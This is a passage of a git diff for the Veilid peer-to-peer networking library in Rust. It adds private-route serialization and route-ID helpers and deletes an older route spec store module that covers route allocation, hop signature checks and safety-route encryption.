.wrap_err("failed to encode private route")?; + + capnp::serialize_packed::write_message(&mut buffer, &pr_message) + .map_err(RPCError::internal) + .wrap_err("failed to convert builder to vec")?; + } + Ok(buffer) + } + + /// Convert binary blob to private route + pub fn blob_to_private_routes(crypto: Crypto, blob: Vec) -> EyreResult> { + // Deserialize count + if blob.is_empty() { + bail!("not deserializing empty private route blob"); + } + + let pr_count = blob[0] as usize; + if pr_count > MAX_CRYPTO_KINDS { + bail!("too many crypto kinds to decode blob"); + } + + // Deserialize stream of private routes + let mut pr_slice = &blob[1..]; + let mut out = Vec::with_capacity(pr_count); + for _ in 0..pr_count { + let reader = capnp::serialize_packed::read_message( + &mut pr_slice, + capnp::message::ReaderOptions::new(), + ) + .map_err(RPCError::internal) + .wrap_err("failed to make message reader")?; + + let pr_reader = reader + .get_root::() + .map_err(RPCError::internal) + .wrap_err("failed to make reader for private_route")?; + let private_route = + decode_private_route(&pr_reader).wrap_err("failed to decode private route")?; + private_route + .validate(crypto.clone()) + .wrap_err("failed to validate private route")?; + + out.push(private_route); + } + + // Don't trust the order of the blob + out.sort_by(|a, b| a.public_key.cmp(&b.public_key)); + + Ok(out) + } + + /// Generate RouteId from typed key set of route public keys + fn generate_allocated_route_id(&self, rssd: &RouteSetSpecDetail) -> EyreResult { + let route_set_keys = rssd.get_route_set_keys(); + let crypto = self.unlocked_inner.routing_table.crypto(); + + let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * route_set_keys.len()); + let mut best_kind: Option = None; + for tk in route_set_keys.iter() { + if best_kind.is_none() + || compare_crypto_kind(&tk.kind, best_kind.as_ref().unwrap()) == cmp::Ordering::Less + { + best_kind = Some(tk.kind); + } + idbytes.extend_from_slice(&tk.value.bytes); + } + let Some(best_kind) = best_kind else { + bail!("no compatible crypto kinds in route"); + }; + let vcrypto = crypto.get(best_kind).unwrap(); + + Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) + } + + /// Generate RouteId from set of private routes + fn generate_remote_route_id(&self, private_routes: &[PrivateRoute]) -> EyreResult { + let crypto = self.unlocked_inner.routing_table.crypto(); + + let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * private_routes.len()); + let mut best_kind: Option = None; + for private_route in private_routes { + if best_kind.is_none() + || compare_crypto_kind(&private_route.public_key.kind, best_kind.as_ref().unwrap()) + == cmp::Ordering::Less + { + best_kind = Some(private_route.public_key.kind); + } + idbytes.extend_from_slice(&private_route.public_key.value.bytes); + } + let Some(best_kind) = best_kind else { + bail!("no compatible crypto kinds in route"); + }; + let vcrypto = crypto.get(best_kind).unwrap(); + + Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) + } +} diff --git a/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs b/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs deleted file mode 100644 index 274181ba..00000000 --- a/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs +++ /dev/null @@ -1,1709 +0,0 @@ -use super::*; -use permutation::*; - -#[derive(Debug)] -pub struct RouteSpecStoreInner { - /// Serialize RouteSpecStore content - content: RouteSpecStoreContent, - /// RouteSpecStore cache - cache: RouteSpecStoreCache, -} - -pub struct RouteSpecStoreUnlockedInner { - /// Handle to routing table - routing_table: RoutingTable, - /// Maximum number of hops in a route - max_route_hop_count: usize, - /// Default number of hops in a route - default_route_hop_count: usize, -} - -impl fmt::Debug for RouteSpecStoreUnlockedInner { - fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { - f.debug_struct("RouteSpecStoreUnlockedInner") - .field("max_route_hop_count", &self.max_route_hop_count) - .field("default_route_hop_count", &self.default_route_hop_count) - .finish() - } -} - -/// The routing table's storage for private/safety routes -#[derive(Clone, Debug)] -pub struct RouteSpecStore { - inner: Arc>, - unlocked_inner: Arc, -} - -impl RouteSpecStore { - pub fn new(routing_table: RoutingTable) -> Self { - let config = routing_table.network_manager().config(); - let c = config.get(); - - Self { - unlocked_inner: Arc::new(RouteSpecStoreUnlockedInner { - max_route_hop_count: c.network.rpc.max_route_hop_count.into(), - default_route_hop_count: c.network.rpc.default_route_hop_count.into(), - routing_table, - }), - inner: Arc::new(Mutex::new(RouteSpecStoreInner { - content: RouteSpecStoreContent::new(), - cache: Default::default(), - })), - } - } - - #[instrument(level = "trace", skip(routing_table), err)] - pub async fn load(routing_table: RoutingTable) -> EyreResult { - let (max_route_hop_count, default_route_hop_count) = { - let config = routing_table.network_manager().config(); - let c = config.get(); - ( - c.network.rpc.max_route_hop_count as usize, - c.network.rpc.default_route_hop_count as usize, - ) - }; - - // Get frozen blob from table store - let content = RouteSpecStoreContent::load(routing_table.clone()).await?; - - let mut inner = RouteSpecStoreInner { - content, - cache: Default::default(), - }; - - // Rebuild the routespecstore cache - let rti = &*routing_table.inner.read(); - for (_, rssd) in inner.content.iter_details() { - inner.cache.add_to_cache(rti, &rssd); - } - - // Return the loaded RouteSpecStore - let rss = RouteSpecStore { - unlocked_inner: Arc::new(RouteSpecStoreUnlockedInner { - max_route_hop_count, - default_route_hop_count, - routing_table: routing_table.clone(), - }), - inner: Arc::new(Mutex::new(inner)), - }; - - Ok(rss) - } - - #[instrument(level = "trace", skip(self), err)] - pub async fn save(&self) -> EyreResult<()> { - let content = { - let inner = self.inner.lock(); - inner.content.clone() - }; - - // Save our content - content - .save(self.unlocked_inner.routing_table.clone()) - .await?; - - Ok(()) - } - - #[instrument(level = "trace", skip(self))] - pub fn send_route_update(&self) { - let (dead_routes, dead_remote_routes) = { - let mut inner = self.inner.lock(); - let Some(dr) = inner.cache.take_dead_routes() else { - // Nothing to do - return; - }; - dr - }; - - let update = VeilidUpdate::RouteChange(VeilidRouteChange { - dead_routes, - dead_remote_routes, - }); - - let update_callback = self.unlocked_inner.routing_table.update_callback(); - update_callback(update); - } - - /// Purge the route spec store - pub async fn purge(&self) -> EyreResult<()> { - { - let inner = &mut *self.inner.lock(); - inner.content = Default::default(); - inner.cache = Default::default(); - } - self.save().await - } - - /// Create a new route - /// Prefers nodes that are not currently in use by another route - /// The route is not yet tested for its reachability - /// Returns None if no route could be allocated at this time - /// Returns Some route id string - #[instrument(level = "trace", skip(self), ret, err)] - pub fn allocate_route( - &self, - crypto_kinds: &[CryptoKind], - stability: Stability, - sequencing: Sequencing, - hop_count: usize, - directions: DirectionSet, - avoid_nodes: &[TypedKey], - ) -> EyreResult> { - let inner = &mut *self.inner.lock(); - let routing_table = self.unlocked_inner.routing_table.clone(); - let rti = &mut *routing_table.inner.write(); - - self.allocate_route_inner( - inner, - rti, - crypto_kinds, - stability, - sequencing, - hop_count, - directions, - avoid_nodes, - ) - } - - #[instrument(level = "trace", skip(self, inner, rti), ret, err)] - #[allow(clippy::too_many_arguments)] - fn allocate_route_inner( - &self, - inner: &mut RouteSpecStoreInner, - rti: &mut RoutingTableInner, - crypto_kinds: &[CryptoKind], - stability: Stability, - sequencing: Sequencing, - hop_count: usize, - directions: DirectionSet, - avoid_nodes: &[TypedKey], - ) -> EyreResult> { - use core::cmp::Ordering; - - if hop_count < 1 { - bail!("Not allocating route less than one hop in length"); - } - - if hop_count > self.unlocked_inner.max_route_hop_count { - bail!("Not allocating route longer than max route hop count"); - } - - // Ensure we have a valid network class so our peer info is useful - if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { - log_rtab!(debug "unable to allocate route until we have a valid PublicInternet network class"); - return Ok(None); - }; - - // Get our peer info - let our_peer_info = rti.get_own_peer_info(RoutingDomain::PublicInternet); - - // Get relay node if we have one - let opt_own_relay_nr = rti - .relay_node(RoutingDomain::PublicInternet) - .map(|nr| nr.locked(rti)); - - // Get list of all nodes, and sort them for selection - let cur_ts = get_aligned_timestamp(); - let filter = Box::new( - |_rti: &RoutingTableInner, entry: Option>| -> bool { - // Exclude our own node from routes - if entry.is_none() { - return false; - } - let entry = entry.unwrap(); - - // Exclude our relay if we have one - if let Some(own_relay_nr) = &opt_own_relay_nr { - if own_relay_nr.same_bucket_entry(&entry) { - return false; - } - } - - // Process node info exclusions - let keep = entry.with_inner(|e| { - // Exclude nodes that don't have our requested crypto kinds - let common_ck = e.common_crypto_kinds(crypto_kinds); - if common_ck.len() != crypto_kinds.len() { - return false; - } - - // Exclude nodes we have specifically chosen to avoid - if e.node_ids().contains_any(avoid_nodes) { - return false; - } - - // Exclude nodes on our local network - if e.node_info(RoutingDomain::LocalNetwork).is_some() { - return false; - } - - // Exclude nodes that have no publicinternet signednodeinfo - let Some(sni) = e.signed_node_info(RoutingDomain::PublicInternet) else { - return false; - }; - - // Relay check - let relay_ids = sni.relay_ids(); - if !relay_ids.is_empty() { - // Exclude nodes whose relays we have chosen to avoid - if relay_ids.contains_any(avoid_nodes) { - return false; - } - // Exclude nodes whose relay is our own relay if we have one - if let Some(own_relay_nr) = &opt_own_relay_nr { - if relay_ids.contains_any(&own_relay_nr.node_ids()) { - return false; - } - } - } - true - }); - if !keep { - return false; - } - - // Exclude nodes with no publicinternet nodeinfo, or incompatible nodeinfo or node status won't route - entry.with_inner(|e| { - e.signed_node_info(RoutingDomain::PublicInternet) - .map(|sni| { - sni.has_sequencing_matched_dial_info(sequencing) - && sni.node_info().has_capability(CAP_ROUTE) - }) - .unwrap_or(false) - }) - }, - ) as RoutingTableEntryFilter; - let filters = VecDeque::from([filter]); - let compare = |_rti: &RoutingTableInner, - entry1: &Option>, - entry2: &Option>| - -> Ordering { - // Our own node is filtered out - let entry1 = entry1.as_ref().unwrap().clone(); - let entry2 = entry2.as_ref().unwrap().clone(); - let entry1_node_ids = entry1.with_inner(|e| e.node_ids()); - let entry2_node_ids = entry2.with_inner(|e| e.node_ids()); - - // deprioritize nodes that we have already used as end points - let e1_used_end = inner.cache.get_used_end_node_count(&entry1_node_ids); - let e2_used_end = inner.cache.get_used_end_node_count(&entry2_node_ids); - let cmp_used_end = e1_used_end.cmp(&e2_used_end); - if !matches!(cmp_used_end, Ordering::Equal) { - return cmp_used_end; - } - - // deprioritize nodes we have used already anywhere - let e1_used = inner.cache.get_used_node_count(&entry1_node_ids); - let e2_used = inner.cache.get_used_node_count(&entry2_node_ids); - let cmp_used = e1_used.cmp(&e2_used); - if !matches!(cmp_used, Ordering::Equal) { - return cmp_used; - } - - // apply sequencing preference - // ensureordered will be taken care of by filter - // and nopreference doesn't care - if matches!(sequencing, Sequencing::PreferOrdered) { - let cmp_seq = entry1.with_inner(|e1| { - entry2.with_inner(|e2| { - let e1_can_do_ordered = e1 - .signed_node_info(RoutingDomain::PublicInternet) - .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) - .unwrap_or(false); - let e2_can_do_ordered = e2 - .signed_node_info(RoutingDomain::PublicInternet) - .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) - .unwrap_or(false); - e2_can_do_ordered.cmp(&e1_can_do_ordered) - }) - }); - if !matches!(cmp_seq, Ordering::Equal) { - return cmp_seq; - } - } - - // always prioritize reliable nodes, but sort by oldest or fastest - - entry1.with_inner(|e1| { - entry2.with_inner(|e2| match stability { - Stability::LowLatency => BucketEntryInner::cmp_fastest_reliable(cur_ts, e1, e2), - Stability::Reliable => BucketEntryInner::cmp_oldest_reliable(cur_ts, e1, e2), - }) - }) - }; - - let routing_table = self.unlocked_inner.routing_table.clone(); - let transform = |_rti: &RoutingTableInner, entry: Option>| -> NodeRef { - NodeRef::new(routing_table.clone(), entry.unwrap(), None) - }; - - // Pull the whole routing table in sorted order - let nodes: Vec = - rti.find_peers_with_sort_and_filter(usize::MAX, cur_ts, filters, compare, transform); - - // If we couldn't find enough nodes, wait until we have more nodes in the routing table - if nodes.len() < hop_count { - log_rtab!(debug "not enough nodes to construct route at this time"); - return Ok(None); - } - - // Get peer info for everything - let nodes_pi: Vec = nodes - .iter() - .map(|nr| { - nr.locked(rti) - .make_peer_info(RoutingDomain::PublicInternet) - .unwrap() - }) - .collect(); - - // Now go through nodes and try to build a route we haven't seen yet - let mut perm_func = Box::new(|permutation: &[usize]| { - // Get the hop cache key for a particular route permutation - // uses the same algorithm as RouteSetSpecDetail::make_cache_key - let route_permutation_to_hop_cache = - |_rti: &RoutingTableInner, nodes: &[NodeRef], perm: &[usize]| -> Vec { - let mut cache: Vec = Vec::with_capacity(perm.len() * PUBLIC_KEY_LENGTH); - for n in perm { - cache.extend_from_slice(&nodes[*n].locked(rti).best_node_id().value.bytes) - } - cache - }; - let cache_key = route_permutation_to_hop_cache(rti, &nodes, permutation); - - // Skip routes we have already seen - if inner.cache.contains_route(&cache_key) { - return None; - } - - // Ensure the route doesn't contain both a node and its relay - let mut seen_nodes: HashSet = HashSet::new(); - for n in permutation { - let node = nodes.get(*n).unwrap(); - if !seen_nodes.insert(node.locked(rti).best_node_id()) { - // Already seen this node, should not be in the route twice - return None; - } - let opt_relay = match node.locked_mut(rti).relay(RoutingDomain::PublicInternet) { - Ok(r) => r, - Err(_) => { - // Not selecting a relay through ourselves - return None; - } - }; - if let Some(relay) = opt_relay { - let relay_id = relay.locked(rti).best_node_id(); - if !seen_nodes.insert(relay_id) { - // Already seen this node, should not be in the route twice - return None; - } - } - } - - // Ensure this route is viable by checking that each node can contact the next one - let mut can_do_sequenced = true; - if directions.contains(Direction::Outbound) { - let mut previous_node = &our_peer_info; - let mut reachable = true; - for n in permutation { - let current_node = nodes_pi.get(*n).unwrap(); - let cm = rti.get_contact_method( - RoutingDomain::PublicInternet, - previous_node, - current_node, - DialInfoFilter::all(), - sequencing, - None, - ); - if matches!(cm, ContactMethod::Unreachable) { - reachable = false; - break; - } - - // Check if we can do sequenced specifically - if can_do_sequenced { - let cm = rti.get_contact_method( - RoutingDomain::PublicInternet, - previous_node, - current_node, - DialInfoFilter::all(), - Sequencing::EnsureOrdered, - None, - ); - if matches!(cm, ContactMethod::Unreachable) { - can_do_sequenced = false; - } - } - - previous_node = current_node; - } - if !reachable { - return None; - } - } - if directions.contains(Direction::Inbound) { - let mut next_node = &our_peer_info; - let mut reachable = true; - for n in permutation.iter().rev() { - let current_node = nodes_pi.get(*n).unwrap(); - let cm = rti.get_contact_method( - RoutingDomain::PublicInternet, - next_node, - current_node, - DialInfoFilter::all(), - sequencing, - None, - ); - if matches!(cm, ContactMethod::Unreachable) { - reachable = false; - break; - } - - // Check if we can do sequenced specifically - if can_do_sequenced { - let cm = rti.get_contact_method( - RoutingDomain::PublicInternet, - next_node, - current_node, - DialInfoFilter::all(), - Sequencing::EnsureOrdered, - None, - ); - if matches!(cm, ContactMethod::Unreachable) { - can_do_sequenced = false; - } - } - next_node = current_node; - } - if !reachable { - return None; - } - } - // Keep this route - let route_nodes = permutation.to_vec(); - Some((route_nodes, can_do_sequenced)) - }) as PermFunc; - - let mut route_nodes: Vec = Vec::new(); - let mut can_do_sequenced: bool = true; - - for start in 0..(nodes.len() - hop_count) { - // Try the permutations available starting with 'start' - if let Some((rn, cds)) = with_route_permutations(hop_count, start, &mut perm_func) { - route_nodes = rn; - can_do_sequenced = cds; - break; - } - } - if route_nodes.is_empty() { - log_rtab!(debug "unable to find unique route at this time"); - return Ok(None); - } - - drop(perm_func); - - // Got a unique route, lets build the details, register it, and return it - let hop_node_refs: Vec = route_nodes.iter().map(|k| nodes[*k].clone()).collect(); - let mut route_set = BTreeMap::::new(); - for crypto_kind in crypto_kinds.iter().copied() { - let vcrypto = self - .unlocked_inner - .routing_table - .crypto() - .get(crypto_kind) - .unwrap(); - let keypair = vcrypto.generate_keypair(); - let hops: Vec = route_nodes - .iter() - .map(|v| { - nodes[*v] - .locked(rti) - .node_ids() - .get(crypto_kind) - .unwrap() - .value - }) - .collect(); - - route_set.insert( - keypair.key, - RouteSpecDetail { - crypto_kind, - secret_key: keypair.secret, - hops, - }, - ); - } - - let rssd = RouteSetSpecDetail::new( - cur_ts, - route_set, - hop_node_refs, - directions, - stability, - can_do_sequenced, - ); - - // make id - let id = self.generate_allocated_route_id(&rssd)?; - - // Add to cache - inner.cache.add_to_cache(rti, &rssd); - - // Keep route in spec store - inner.content.add_detail(id, rssd); - - Ok(Some(id)) - } - - /// validate data using a private route's key and signature chain - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self, data, callback), ret) - )] - pub fn with_signature_validated_route( - &self, - public_key: &TypedKey, - signatures: &[Signature], - data: &[u8], - last_hop_id: PublicKey, - callback: F, - ) -> Option - where - F: FnOnce(&RouteSetSpecDetail, &RouteSpecDetail) -> R, - R: fmt::Debug, - { - let inner = &*self.inner.lock(); - let crypto = self.unlocked_inner.routing_table.crypto(); - let Some(vcrypto) = crypto.get(public_key.kind) else { - log_rpc!(debug "can't handle route with public key: {:?}", public_key); - return None; - }; - - let Some(rsid) = inner.content.get_id_by_key(&public_key.value) else { - log_rpc!(debug "route id does not exist: {:?}", public_key.value); - return None; - }; - let Some(rssd) = inner.content.get_detail(&rsid) else { - log_rpc!(debug "route detail does not exist: {:?}", rsid); - return None; - }; - let Some(rsd) = rssd.get_route_by_key(&public_key.value) else { - log_rpc!(debug "route set {:?} does not have key: {:?}", rsid, public_key.value); - return None; - }; - - // Ensure we have the right number of signatures - if signatures.len() != rsd.hops.len() - 1 { - // Wrong number of signatures - log_rpc!(debug "wrong number of signatures ({} should be {}) for routed operation on private route {}", signatures.len(), rsd.hops.len() - 1, public_key); - return None; - } - // Validate signatures to ensure the route was handled by the nodes and not messed with - // This is in private route (reverse) order as we are receiving over the route - for (hop_n, hop_public_key) in rsd.hops.iter().rev().enumerate() { - // The last hop is not signed, as the whole packet is signed - if hop_n == signatures.len() { - // Verify the node we received the routed operation from is the last hop in our route - if *hop_public_key != last_hop_id { - log_rpc!(debug "received routed operation from the wrong hop ({} should be {}) on private route {}", hop_public_key.encode(), last_hop_id.encode(), public_key); - return None; - } - } else { - // Verify a signature for a hop node along the route - if let Err(e) = vcrypto.verify(hop_public_key, data, &signatures[hop_n]) { - log_rpc!(debug "failed to verify signature for hop {} at {} on private route {}: {}", hop_n, hop_public_key, public_key, e); - return None; - } - } - } - // We got the correct signatures, return a key and response safety spec - Some(callback(rssd, rsd)) - } - - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), ret, err) - )] - async fn test_allocated_route(&self, private_route_id: RouteId) -> EyreResult { - // Make loopback route to test with - let dest = { - // Get the best private route for this id - let (key, hop_count) = { - let inner = &mut *self.inner.lock(); - let Some(rssd) = inner.content.get_detail(&private_route_id) else { - bail!("route id not allocated"); - }; - let Some(key) = rssd.get_best_route_set_key() else { - bail!("no best key to test allocated route"); - }; - // Match the private route's hop length for safety route length - let hop_count = rssd.hop_count(); - (key, hop_count) - }; - - // Get the private route to send to - let private_route = self.assemble_private_route(&key, None)?; - // Always test routes with safety routes that are more likely to succeed - let stability = Stability::Reliable; - // Routes should test with the most likely to succeed sequencing they are capable of - let sequencing = Sequencing::PreferOrdered; - - let safety_spec = SafetySpec { - preferred_route: Some(private_route_id), - hop_count, - stability, - sequencing, - }; - let safety_selection = SafetySelection::Safe(safety_spec); - - Destination::PrivateRoute { - private_route, - safety_selection, - } - }; - - // Test with double-round trip ping to self - let rpc_processor = self.unlocked_inner.routing_table.rpc_processor(); - let _res = match rpc_processor.rpc_call_status(dest).await? { - NetworkResult::Value(v) => v, - _ => { - // Did not error, but did not come back, just return false - return Ok(false); - } - }; - - Ok(true) - } - - #[instrument(level = "trace", skip(self), ret, err)] - async fn test_remote_route(&self, private_route_id: RouteId) -> EyreResult { - // Make private route test - let dest = { - // Get the route to test - let Some(private_route) = self.best_remote_private_route(&private_route_id) else { - bail!("no best key to test remote route"); - }; - - // Always test routes with safety routes that are more likely to succeed - let stability = Stability::Reliable; - // Routes should test with the most likely to succeed sequencing they are capable of - let sequencing = Sequencing::PreferOrdered; - - // Get a safety route that is good enough - let safety_spec = SafetySpec { - preferred_route: None, - hop_count: self.unlocked_inner.default_route_hop_count, - stability, - sequencing, - }; - - let safety_selection = SafetySelection::Safe(safety_spec); - - Destination::PrivateRoute { - private_route, - safety_selection, - } - }; - - // Test with double-round trip ping to self - let rpc_processor = self.unlocked_inner.routing_table.rpc_processor(); - let _res = match rpc_processor.rpc_call_status(dest).await? { - NetworkResult::Value(v) => v, - _ => { - // Did not error, but did not come back, just return false - return Ok(false); - } - }; - - Ok(true) - } - - /// Release an allocated route that is no longer in use - #[instrument(level = "trace", skip(self), ret)] - fn release_allocated_route(&self, id: RouteId) -> bool { - let mut inner = self.inner.lock(); - let Some(rssd) = inner.content.remove_detail(&id) else { - return false; - }; - - // Remove from hop cache - let rti = &*self.unlocked_inner.routing_table.inner.read(); - if !inner.cache.remove_from_cache(rti, id, &rssd) { - panic!("hop cache should have contained cache key"); - } - - true - } - - /// Check if a route id is remote or not - pub fn is_route_id_remote(&self, id: &RouteId) -> bool { - let inner = &mut *self.inner.lock(); - let cur_ts = get_aligned_timestamp(); - inner - .cache - .peek_remote_private_route_mut(cur_ts, id) - .is_some() - } - - /// Test an allocated route for continuity - #[cfg_attr( - feature = "verbose-tracing", - instrument(level = "trace", skip(self), ret, err) - )] - pub async fn test_route(&self, id: RouteId) -> EyreResult { - let is_remote = self.is_route_id_remote(&id); - if is_remote { - self.test_remote_route(id).await - } else { - self.test_allocated_route(id).await - } - } - - /// Release an allocated or remote route that is no longer in use - #[instrument(level = "trace", skip(self), ret)] - pub fn release_route(&self, id: RouteId) -> bool { - let is_remote = self.is_route_id_remote(&id); - if is_remote { - self.release_remote_private_route(id) - } else { - self.release_allocated_route(id) - } - } - - /// Find first matching unpublished route that fits into the selection criteria - /// Don't pick any routes that have failed and haven't been tested yet - #[allow(clippy::too_many_arguments)] - fn first_available_route_inner( - inner: &RouteSpecStoreInner, - crypto_kind: CryptoKind, - min_hop_count: usize, - max_hop_count: usize, - stability: Stability, - sequencing: Sequencing, - directions: DirectionSet, - avoid_nodes: &[TypedKey], - ) -> Option { - let cur_ts = get_aligned_timestamp(); - - let mut routes = Vec::new(); - - // Get all valid routes, allow routes that need testing - // but definitely prefer routes that have been recently tested - for (id, rssd) in inner.content.iter_details() { - if rssd.get_stability() >= stability - && rssd.is_sequencing_match(sequencing) - && rssd.hop_count() >= min_hop_count - && rssd.hop_count() <= max_hop_count - && rssd.get_directions().is_superset(directions) - && rssd.get_route_set_keys().kinds().contains(&crypto_kind) - && !rssd.is_published() - && !rssd.contains_nodes(avoid_nodes) - { - routes.push((id, rssd)); - } - } - - // Sort the routes by preference - routes.sort_by(|a, b| { - let a_needs_testing = a.1.get_stats().needs_testing(cur_ts); - let b_needs_testing = b.1.get_stats().needs_testing(cur_ts); - if !a_needs_testing && b_needs_testing { - return cmp::Ordering::Less; - } - if !b_needs_testing && a_needs_testing { - return cmp::Ordering::Greater; - } - let a_latency = a.1.get_stats().latency_stats().average; - let b_latency = b.1.get_stats().latency_stats().average; - - a_latency.cmp(&b_latency) - }); - - // Return the best one if we got one - routes.first().map(|r| *r.0) - } - - /// List all allocated routes - pub fn list_allocated_routes(&self, mut filter: F) -> Vec - where - F: FnMut(&RouteId, &RouteSetSpecDetail) -> Option, - { - let inner = self.inner.lock(); - let mut out = Vec::with_capacity(inner.content.get_detail_count()); - for detail in inner.content.iter_details() { - if let Some(x) = filter(detail.0, detail.1) { - out.push(x); - } - } - out - } - - /// List all allocated routes - pub fn list_remote_routes(&self, mut filter: F) -> Vec - where - F: FnMut(&RouteId, &RemotePrivateRouteInfo) -> Option, - { - let inner = self.inner.lock(); - let mut out = Vec::with_capacity(inner.cache.get_remote_private_route_count()); - for info in inner.cache.iter_remote_private_routes() { - if let Some(x) = filter(info.0, info.1) { - out.push(x); - } - } - out - } - - /// Get the debug description of a route - pub fn debug_route(&self, id: &RouteId) -> Option { - let inner = &mut *self.inner.lock(); - let cur_ts = get_aligned_timestamp(); - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, id) { - return Some(format!("{:#?}", rpri)); - } - if let Some(rssd) = inner.content.get_detail(id) { - return Some(format!("{:#?}", rssd)); - } - None - } - - ////////////////////////////////////////////////////////////////////// - - /// Choose the best private route from a private route set to communicate with - pub fn best_remote_private_route(&self, id: &RouteId) -> Option { - let inner = &mut *self.inner.lock(); - let cur_ts = get_aligned_timestamp(); - let rpri = inner.cache.get_remote_private_route(cur_ts, id)?; - rpri.best_private_route() - } - - /// Compiles a safety route to the private route, with caching - /// Returns an Err() if the parameters are wrong - /// Returns Ok(None) if no allocation could happen at this time (not an error) - pub fn compile_safety_route( - &self, - safety_selection: SafetySelection, - mut private_route: PrivateRoute, - ) -> EyreResult> { - // let profile_start_ts = get_timestamp(); - let inner = &mut *self.inner.lock(); - let routing_table = self.unlocked_inner.routing_table.clone(); - let rti = &mut *routing_table.inner.write(); - - // Get useful private route properties - let crypto_kind = private_route.crypto_kind(); - let crypto = routing_table.crypto(); - let Some(vcrypto) = crypto.get(crypto_kind) else { - bail!("crypto not supported for route"); - }; - let pr_pubkey = private_route.public_key.value; - let pr_hopcount = private_route.hop_count as usize; - let max_route_hop_count = self.unlocked_inner.max_route_hop_count; - - // Check private route hop count isn't larger than the max route hop count plus one for the 'first hop' header - if pr_hopcount > (max_route_hop_count + 1) { - bail!("private route hop count too long"); - } - // See if we are using a safety route, if not, short circuit this operation - let safety_spec = match safety_selection { - // Safety route spec to use - SafetySelection::Safe(safety_spec) => safety_spec, - // Safety route stub with the node's public key as the safety route key since it's the 0th hop - SafetySelection::Unsafe(sequencing) => { - let Some(pr_first_hop_node) = private_route.pop_first_hop() else { - bail!("compiled private route should have first hop"); - }; - - let opt_first_hop = match pr_first_hop_node { - RouteNode::NodeId(id) => { - rti.lookup_node_ref(routing_table.clone(), TypedKey::new(crypto_kind, id))? - } - RouteNode::PeerInfo(pi) => Some(rti.register_node_with_peer_info( - routing_table.clone(), - RoutingDomain::PublicInternet, - *pi, - false, - )?), - }; - if opt_first_hop.is_none() { - // Can't reach this private route any more - log_rtab!(debug "can't reach private route any more"); - return Ok(None); - } - let mut first_hop = opt_first_hop.unwrap(); - - // Set sequencing requirement - first_hop.set_sequencing(sequencing); - - // Return the compiled safety route - //println!("compile_safety_route profile (stub): {} us", (get_timestamp() - profile_start_ts)); - return Ok(Some(CompiledRoute { - safety_route: SafetyRoute::new_stub( - routing_table.node_id(crypto_kind), - private_route, - ), - secret: routing_table.node_id_secret_key(crypto_kind), - first_hop, - })); - } - }; - - // If the safety route requested is also the private route, this is a loopback test, just accept it - let opt_private_route_id = inner.content.get_id_by_key(&pr_pubkey); - let sr_pubkey = if opt_private_route_id.is_some() - && safety_spec.preferred_route == opt_private_route_id - { - // Private route is also safety route during loopback test - pr_pubkey - } else { - let Some(avoid_node_id) = private_route.first_hop_node_id() else { - bail!("compiled private route should have first hop"); - }; - let Some(sr_pubkey) = self.get_route_for_safety_spec_inner( - inner, - rti, - crypto_kind, - &safety_spec, - Direction::Outbound.into(), - &[avoid_node_id], - )? - else { - // No safety route could be found for this spec - return Ok(None); - }; - sr_pubkey - }; - - // Look up a few things from the safety route detail we want for the compiled route and don't borrow inner - let Some(safety_route_id) = inner.content.get_id_by_key(&sr_pubkey) else { - bail!("route id missing"); - }; - let Some(safety_rssd) = inner.content.get_detail(&safety_route_id) else { - bail!("route set detail missing"); - }; - let Some(safety_rsd) = safety_rssd.get_route_by_key(&sr_pubkey) else { - bail!("route detail missing"); - }; - - // We can optimize the peer info in this safety route if it has been successfully - // communicated over either via an outbound test, or used as a private route inbound - // and we are replying over the same route as our safety route outbound - let optimize = safety_rssd.get_stats().last_tested_ts.is_some() - || safety_rssd.get_stats().last_received_ts.is_some(); - - // Get the first hop noderef of the safety route - let mut first_hop = safety_rssd.hop_node_ref(0).unwrap(); - - // Ensure sequencing requirement is set on first hop - first_hop.set_sequencing(safety_spec.sequencing); - - // Get the safety route secret key - let secret = safety_rsd.secret_key; - - // See if we have a cached route we can use - if optimize { - if let Some(safety_route) = inner - .cache - .lookup_compiled_route_cache(sr_pubkey, pr_pubkey) - { - // Build compiled route - let compiled_route = CompiledRoute { - safety_route, - secret, - first_hop, - }; - // Return compiled route - //println!("compile_safety_route profile (cached): {} us", (get_timestamp() - profile_start_ts)); - return Ok(Some(compiled_route)); - } - } - - // Create hops - let hops = { - // start last blob-to-encrypt data off as private route - let mut blob_data = { - let mut pr_message = ::capnp::message::Builder::new_default(); - let mut pr_builder = pr_message.init_root::(); - encode_private_route(&private_route, &mut pr_builder)?; - let mut blob_data = builder_to_vec(pr_message)?; - - // append the private route tag so we know how to decode it later - blob_data.push(1u8); - blob_data - }; - - // Encode each hop from inside to outside - // skips the outermost hop since that's entering the - // safety route and does not include the dialInfo - // (outer hop is a RouteHopData, not a RouteHop). - // Each loop mutates 'nonce', and 'blob_data' - let mut nonce = vcrypto.random_nonce(); - // Forward order (safety route), but inside-out - for h in (1..safety_rsd.hops.len()).rev() { - // Get blob to encrypt for next hop - blob_data = { - // Encrypt the previous blob ENC(nonce, DH(PKhop,SKsr)) - let dh_secret = vcrypto - .cached_dh(&safety_rsd.hops[h], &safety_rsd.secret_key) - .wrap_err("dh failed")?; - let enc_msg_data = vcrypto - .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) - .wrap_err("encryption failed")?; - - // Make route hop data - let route_hop_data = RouteHopData { - nonce, - blob: enc_msg_data, - }; - - // Make route hop - let route_hop = RouteHop { - node: if optimize { - // Optimized, no peer info, just the dht key - RouteNode::NodeId(safety_rsd.hops[h]) - } else { - // Full peer info, required until we are sure the route has been fully established - let node_id = TypedKey::new(safety_rsd.crypto_kind, safety_rsd.hops[h]); - let pi = rti - .with_node_entry(node_id, |entry| { - entry.with(rti, |_rti, e| { - e.make_peer_info(RoutingDomain::PublicInternet) - }) - }) - .flatten(); - if pi.is_none() { - bail!("peer info should exist for route but doesn't"); - } - 